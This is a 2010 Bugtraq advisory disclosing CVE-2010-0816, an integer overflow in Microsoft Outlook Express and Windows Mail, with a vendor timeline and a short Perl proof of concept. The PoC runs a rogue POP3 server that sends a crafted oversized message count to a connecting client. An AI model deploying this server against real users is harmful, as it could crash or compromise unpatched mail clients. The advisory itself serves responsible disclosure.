bugtraq - {PRL} Microsoft Windows Outlook Express and Windows Mail Integer Overflow

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Message-ID: <AANLkTil1HX7NnN6nux2F_5L1NF8uKUae6uz6I0Q1ERNz@mail.gmail.com>
Date: Tue, 11 May 2010 08:54:56 -0400
From: Francis Provencher <francisprovencher@...tekresearchlab.com>
To: bugtraq@...urityfocus.com
Subject: {PRL} Microsoft Windows Outlook Express and Windows Mail Integer 
	Overflow

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Application:   Microsoft Outlook Express
                    Microsoft Windows Mail

Platforms:   Windows 2000
                  Windows XP
                  Windows Vista
                  Windows server 2003
                  Windows Server 2008 SR2

Exploitation:   Remote Exploitable

CVE Number:   CVE-2010-0816

Discover Date:   2009-09-11

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com


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1) Introduction
2) Report Timeline
3) Technical details
4) Products affected
5) The Code


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=================
1) Introduction
=================

Windows Mail is an e-mail  and newsgroup client included in Windows
Vista, that was superseded by Windows Live Mail.

It is the successor to Outlook Express. Microsoft previewed Windows
Mail on Channel 9 on October 10, 2005.[1]

Unlike Outlook Express, Windows Mail is not considered to be a
component of Internet Explorer. As such, it will not

be made available for earlier Windows operating systems, while Windows
Internet Explorer 7 was made available for

Windows XP.

Windows Mail has been succeeded by Windows Live Mail, which was built
by the same development team as Windows Mail

and also serves as the replacement for Outlook Express for Windows XP.

(Wikipedia)
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2) Report Timeline
====================

2009-11-09  Vendor Contacted
2009-11-09  Vendor Response
2009-11-16  Vendor request a PoC
2009-11-16  PoC is send
2009-11-19  Vendor confirm they received PoC
2009-11-24  Vendor confirm the vulnerability
2010-05-11  Public release of this advisory

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3) Technical details
======================

An unauthenticated remote code execution vulnerability exists in the
way that the Windows Mail Client software

handles specially crafted mail responses. An attempt to exploit the
vulnerability would not require authentication,

allowing an attacker to exploit the vulnerability by sending a
specially crafted response to a client initiating a

connection to a server under his control using the common mail protocols.


The vulnerability is caused by a common library used by Outlook
Express and Windows Mail insufficiently validating

network data before using that data to calculate the necessary size of a buffer.



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4) Product affected
=====================

Mail client;   Microsoft Outlook Express & Microsoft Windows Mail

Plateforms;   Windows 2000, Windows XP, Windows Vista, Windows server
2003  & Windows Server 2008

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5) The Code
=============


#!/usr/bin/perl -w
# Found by Francis Provencher for Protek Research Lab's
# {PRL} Microsoft Windows Mail CLient & outlook express Remote Integer Overflow
#



use IO::Socket;

$port = 110;

$serv = IO::Socket::INET->new(Proto=>'tcp',
LocalPort=>$port,
Listen=>1)
or die "Error: listen($port)\n";

$cli = $serv->accept() or die "Error: accept()\n";


$cli->send("+OK\r\n");
$cli->recv($recvbuf, 512);
$cli->send("+OK\r\n");
$cli->recv($recvbuf, 512);
$cli->send("+OK\r\n");
$cli->recv($recvbuf, 512);
$cli->send("+OK 357913944 100\r\n");




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(PRL-2010-04)